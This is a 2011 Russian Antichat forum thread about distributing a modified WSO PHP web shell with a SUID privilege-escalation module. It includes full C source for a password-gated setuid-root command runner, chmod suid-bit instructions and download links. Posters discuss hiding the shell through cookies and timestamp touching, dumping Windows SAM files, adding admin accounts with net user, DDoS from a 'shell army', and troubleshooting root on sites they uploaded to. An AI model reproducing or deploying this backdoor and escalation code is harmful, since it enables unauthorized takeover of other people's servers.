Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Избранное (https://forum.antichat.xyz/forumdisplay.php?f=89)
-   -   WSO 2.5 Modified (https://forum.antichat.xyz/showthread.php?t=287507)

XAMEHA 06.08.2011 20:07

WSO 2.5 Suid Modified
Небезизвестный шелл WSO с добавлением модуля для работы с Suid'никами.

Модификация изначально писалась под собственные нужды, но решил её выложить, так как данная модификация может пригодиться другим пользователям.

На данный момент большинство пользуется этой наработкой: http://cyberguru007.blogspot.com/2011/07/wso.html

Но в ней очень много больших минусов .

Модификация:
  • Шелл находиться исключительно в одном файле, не требуется создание нескольких файлов.
  • Путь к Suid'нику и пароль к нему не прописан в файле - его можно указать прямо в шелле и менять не модифицируя исходный код.
  • Вся необходимая информация храниться в COOKIE, при просмотре коде невозможно определить местоположение суидника.
  • Шелл защищён паролем - после ввода пароля вы получаете обычный доступ, суидник нужно указать отдельно.
  • Исправлены глюки при Upload'е, изменении настроек - теперь можно загружать файлы, менять кодировку, AJAX режим можно не переключаюсь к обычной работе.
  • Присутствует возможность проверки работоспособности суидника до подключения шелла.
  • Передача данных происходит через встроенную функцию wsoEx.

Скрин:

http://i045.radikal.ru/1108/75/cbbac301dabd.png

http://s51.radikal.ru/i132/1108/30/85c6f414daa8.png

Данная утилита предоставляет веб-интерфейс для удаленной работы c операционной системой и ее службами/демонами.

Использование данного продукта в незаконных целях грозит уголовной ответственностью.

Код в аттаче . Модификация писалась для личного использования, что возможны глюки.

Пароль - root.

Expl0ited 07.08.2011 01:49

Сделай еще в запакованном виде

Konqi 07.08.2011 02:02

имхо и без этого можно было обойтись, просто немного модифицируя wsoEx

хотя, посмотрим..

любой труд нужно оценить

XAMEHA 07.08.2011 06:34

Скачать запакованную версию: http://zalil.ru/31520955

Если кому то нужно добавить ещё некоторые возможности - пишите, сделаю.

UDP:

Под рукой нет винды

C-r-A-c-K 07.08.2011 10:50

сделай поддержку WIN

вкладку, где элементарным нажатием клавиши, можно было создать админа с правами на удаленное подключение.

кнопку на скачивание SAM файла

и т.п. для ВЫНей.

чтобы уже совсем облениться и не писать вручную net user /ADD =)))))))

Konqi 07.08.2011 15:32

отправка GET/POST запросов, с поправкой хидера

реализовать думаю лучше через сокеты, не везде есть курл

WTSBugzoff 07.08.2011 15:33

как суидник добавлять?

z0mbyak 07.08.2011 18:09

Цитата:

Сообщение от None
В меню ссылка - Suid.
Konqi , только вот зачем?

Например DDOS из армии шеллов)))

А так вещь вообще действительно полезная, например для анонимной работы с дырами на других сайтах и тд...

Konqi 09.08.2011 05:32

я вот тока заметил

а что означает слово Modificed?

есть слова Modified, и Modificated

а вот чо значит modificed, я не понял

XAMEHA 10.08.2011 16:58

Дополню: Шелл должен иметь как можно больше возможностей, и в тоже время иметь компактный размер. добавлять всё что не попадает под эту категорию не надо.

Всё что считаю нужным добавлю как будет время.

Тема перенесена в Уязвимости по моей просьбе.

Chrome~ 11.08.2011 02:16

Цитата:

Сообщение от rushter
rushter said:
Вот мне не хватает кнопочки которая делает тач шелла с датой соседнего файла и так же тачит папку в которой он лежит.
У самого как то руки всё не доходят, полезная штука

Я делал это. Выложу свой вариант, может пригодится. Шелл тачит себя датой изменения соседнего файла, а если файла нету, то датой изменения соседней директории. Потом находит в директории шелла время модификации, которое произошло максимально недавно, и тачит директорию этой датой.

Только это сделано в оригинальном WSO 2.5, а не в модификации из первого поста.

Код:

Code:
http://www.sendspace.com/file/ik9e02

Запускается нажатием на Magic Touch в менюшке, сам код лежит в функции actionMagicTouch.

XAMEHA 11.08.2011 11:13

Цитата:

Сообщение от rushter
rushter said:
Спасибо, то что надо.
Чем запакован стандартный wso ?

[PHP]
PHP:
[COLOR="#000000"]';

$content=php_strip_whitespace('in.txt');

$content=trim(preg_replace([COLOR="#DD0000"]'/

Falknat 27.08.2011 23:17

При использовании Suid на FreeBSP возникает ошибка Query did not return anything

Так же при скачивании файлов с данной модификации, так же возникают ошибки

XAMEHA 28.08.2011 06:20

Цитата:

Сообщение от Falknat
Falknat said:
При использовании Suid на FreeBSP возникает ошибка Query did not return anything
Так же при скачивании файлов с данной модификации, так же возникают ошибки

Query did not return anything - Эта ошибка возникает когда функции system, exec(Добавил, поскольку раньше в таком случае ничего не возвращалось)... Запрещены или ничего не возвращают. Проверьте, работают ли они.

Если да - будем разбираться.

Falknat 28.08.2011 22:12

Они работают, но всё ровно возникает ошибка при использовании Suid.

из phpinfo видно что работают:

Disabled PHP Functions: none

http://i037.radikal.ru/1108/45/344f4e9f4af8.jpg

После нажатия на кнопку YES, вылетает эта ошибка

XAMEHA 29.08.2011 04:09

Возможно не найден php интерпретатор, попробуй выполнить в консоли:

Цитата:

Сообщение от None
/usr/sbin/ups asd "php /Путь/К/Любому/php/скрнипту/"

Работать будет/не будет - Пиши в ПМ.

Falknat 29.08.2011 16:29

А у вас есть ICQ или какой либо контакт? За доработку скрипта готов буду заплатить...

XAMEHA 29.08.2011 17:17

Цитата:

Сообщение от Falknat
Falknat said:
А у вас есть ICQ или какой либо контакт? За доработку скрипта готов буду заплатить...

Платно не работаю. Доработанный скрипт прикрепил в первом посте. Теперь существует возможность указать путь к php интерпретатору.

попугай 29.08.2011 22:59

Выложили бы сам суидник еще.

Tigger 29.08.2011 23:17

Цитата:

Сообщение от попугай
попугай said:
Выложили бы сам суидник еще.

Код:

Code:
#include
#include
main(int argc, char *argv[])
{
if(argc == 3){
if(strcmp(argv[1],"cool_hack") == 0){
setgid(0);
setuid(0);
system(argv[2]);
}
}
return 0;
}

Using: ./suid cool_hack id

[path] [password] [command]

Пароль, разумеется можно изменить. В сурсе видно где

Скомпилируй (хоть на том же шелле с gcc) и используй.

Ну и, разумеется, не забывай уже бинарнику добавлять suid-бит (к примеру chmod 4751 suidfilename).

P.S.:

Скомпилированный суидник с паролем 112s233: http://rghost.ru/19777451

Excellent18 29.08.2011 23:20

расскажите нубу, вообще для чего это добавление

что оно дает? :d

Tigger 29.08.2011 23:26

Цитата:

Сообщение от Excellent18
Excellent18 said:
расскажите нубу, вообще для чего это добавление
что оно дает? :d

Установленный suid-бит позволяет выполнять файл от имени владельца файла, а не текущего юзера. Т.е. если дать суиднику права root'a, то можно будет выполнять команды от имени root'a с любого юзера.

Ну и следовательно модификация, чтобы более удобно использовать суидник (сохраняя графическую оболочку web-shell'a), а не просто выполнение команд.

Цитата:

Сообщение от 1NtR0
1NtR0 said:
WSO не правильно работают на вин ОС, лучше бы это поправили.

На вин все неправильно работает

1NtR0 29.08.2011 23:28

WSO не правильно работают на вин ОС, лучше бы это поправили.

попугай 29.08.2011 23:31

Цитата:

Сообщение от Tigger
Tigger said:
Код:

Code:
#include
#include
main(int argc, char *argv[])
{
if(argc == 3){
if(strcmp(argv[1],"cool_hack") == 0){
setgid(0);
setuid(0);
system(argv[2]);
}
}
return 0;
}

Using: ./suid cool_hack id
[path] [password] [command]
Пароль, разумеется можно изменить. В сурсе видно где
Скомпилируй (хоть на том же шелле с gcc) и используй.
Ну и, разумеется, не забывай уже бинарнику добавлять suid-бит (к примеру chmod 4751 suidfilename).
P.S.:
Скомпилированный суидник
с паролем 112s233
: http://rghost.ru/19777451

Спасибо, сейчас скомпилил, залив на ftp одного сайта(владелец user), сделал chmod 4755, зашел через вебшелл(права apache) - попробовал выполнить суидник - права показываются как апачевские.

Естественно, предварительно я посмотрел в /etc/passwd какие uid и gid у юзверя моего ftp, которые я вписал вместо рутовских нулей.

Почему так?

Цитата:

Сообщение от 1NtR0
1NtR0 said:
WSO не правильно работают на вин ОС, лучше бы это поправили.

Что именно?

1NtR0 29.08.2011 23:38

Цитата:

Сообщение от попугай
попугай said:
Что именно?

На вин права не правильно отображаються, а именно функция:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]wsoPermsColor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]) {

if (!@[/COLOR][COLOR="#0000BB"]is_readable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]))

return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

elseif (!@[/COLOR][COLOR="#0000BB"]is_writable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]))

return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

else

return
[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

}

[/
COLOR][/COLOR

Багфикс при котором работает правильно

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]wsoPermsColor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]) {

if([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) {

if([/COLOR][COLOR="#0000BB"]$GLOBALS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'os'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'nix'[/COLOR][COLOR="#007700"]){

if([/COLOR][COLOR="#0000BB"]is_writeable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) {

return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

}elseif([/COLOR][COLOR="#0000BB"]is_readable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])){

return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

} else return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

} else {

[/
COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/.ssps_tmp'[/COLOR][COLOR="#007700"];

if(@[/COLOR][COLOR="#0000BB"]touch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"])){

[/
COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]);

return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

}elseif([/COLOR][COLOR="#0000BB"]opendir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])){

[/
COLOR][COLOR="#0000BB"]closedir[/COLOR][COLOR="#007700"]();

return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; }

else return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

}

}

else {

if([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'a'[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

elseif([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'r'[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];;

}

}

[/
COLOR][/COLOR


Excellent18 31.08.2011 00:14

http://www.keep2.me/files/e4b18a2e046706d5e6e8c14f238b05e4/23.11.15-30.08-1278x260.jpg

вот тут у меня юзер

antidonat

а с помощью этого можно сделать другой типа и посмотреть закрытые разделы?

если не с помощью этого. то как?

XAMEHA 31.08.2011 05:58

Цитата:

Сообщение от Excellent18
Excellent18 said:
http://www.keep2.me/files/e4b18a2e046706d5e6e8c14f238b05e4/23.11.15-30.08-1278x260.jpg
вот тут у меня юзер
antidonat
а с помощью этого можно сделать другой типа и посмотреть закрытые разделы?
если не с помощью этого. то как?

Если прорутать, то да.

GizmoSB 11.09.2011 00:34

Цитата:

Сообщение от None
Query did not return anything

не могу найти php интепритатор (( помогите плз как его найти ( freebsd 7.0

Tigger 19.09.2011 08:29

Смотрим вывод ps aux - Вообще безпалива!!1

А так в принципе норм...

noga 24.09.2011 21:17

Подскажите пожалуйста. Я использую шел (из первого поста ) + этот суидник ( пост 20 ( Скомпилированный суидник с паролем 112s233: http://rghost.ru/19777451 ) )...

Но у меня не получается зайти по рутом, я почему - то захожу под 33 ( www-data ) Group: 33 ( www-data ).

Подскажите, в чём проблема?

P.S. Ввожу так:

Suid: ./suid

Password: 112s233

Php: /usr/bin/php

XAMEHA 25.09.2011 05:03

Цитата:

Сообщение от noga
noga said:
Подскажите пожалуйста. Я использую шел (из первого поста ) +
этот
суидник ( пост
20
( Скомпилированный суидник с паролем 112s233: http://rghost.ru/19777451 ) )...
Но у меня не получается зайти по рутом, я почему - то захожу под 33 ( www-data ) Group: 33 ( www-data ).
Подскажите, в чём проблема?
P.S. Ввожу так:
Suid: ./suid
Password: 112s233
Php: /usr/bin/php

На суидник необходимо установить suid bit.

noga 25.09.2011 10:49

Цитата:

Сообщение от XAMEHA
XAMEHA said:
На суидник необходимо установить suid bit.

Установлено: 4751

И ничего не выходит большинство команд не срабатывает, директорий не открывается ;(

zenon3 27.09.2011 02:45

В первом посте выложена версия в которой невозможно указать путь к PHP. Если это важно выложите версию где это можно зделать.

Php: /usr/bin/php

а без этого у меня ошибка вылезает: Query did not return anything

Are you sure you want to save changes?

делаю вот так:

Suid: ./suid

Password: 112s233

что неправильно?

или насколько я понимаю что не везде можно получить root шелл?

vasykas 28.09.2011 01:25

поиск пути до интерпретатора php в шелле:

whereis php

vasykas 04.10.2011 21:18

не могу пробить

объясните пож. все сделал нормально нажал чудо кнопку и:

http://imglink.ru/pictures/04-10-11/...b6bd35a904.jpg

это значить не пробить.(уже штук на 6 сайтах пробовал

то же самое )

sevenup 04.10.2011 22:21

Цитата:

Сообщение от vasykas
vasykas said:
объясните пож. все сделал нормально нажал чудо кнопку и:
http://imglink.ru/pictures/04-10-11/...b6bd35a904.jpg
это значить не пробить.(уже штук на 6 сайтах пробовал
то же самое
)

Кого не пробить ?

Что у тебя за "./" в первой строке ? это тебе что консоль ?

в первой строке указуется полный серверный путь к суидному файлу...

Пример:

/tmp/suid

P.S. в 20-м посте этой темы, Tigger показал как использовать суидный файл в консоли шела.

b3 12.10.2011 03:47

Цитата:

Сообщение от noga
noga said:
Установлено: 4751
И ничего не выходит большинство команд не срабатывает, директорий не открывается ;(

Помимо суидного бита нужно что бы у файла овнер был root. Иначе толк от суидника никакой)))

Falknat 21.10.2011 20:13

При попытке редактировать файл, часто пишет.

Соединение было сброшено....

или выкидывает на каталог с файлами а файл не сохраняет.

penguen 04.11.2011 15:26

КАкой пасс для входа в шелл?

Faaax 04.11.2011 16:53

Цитата:

Сообщение от penguen
penguen said:
КАкой пасс для входа в шелл?

root


Время: 13:03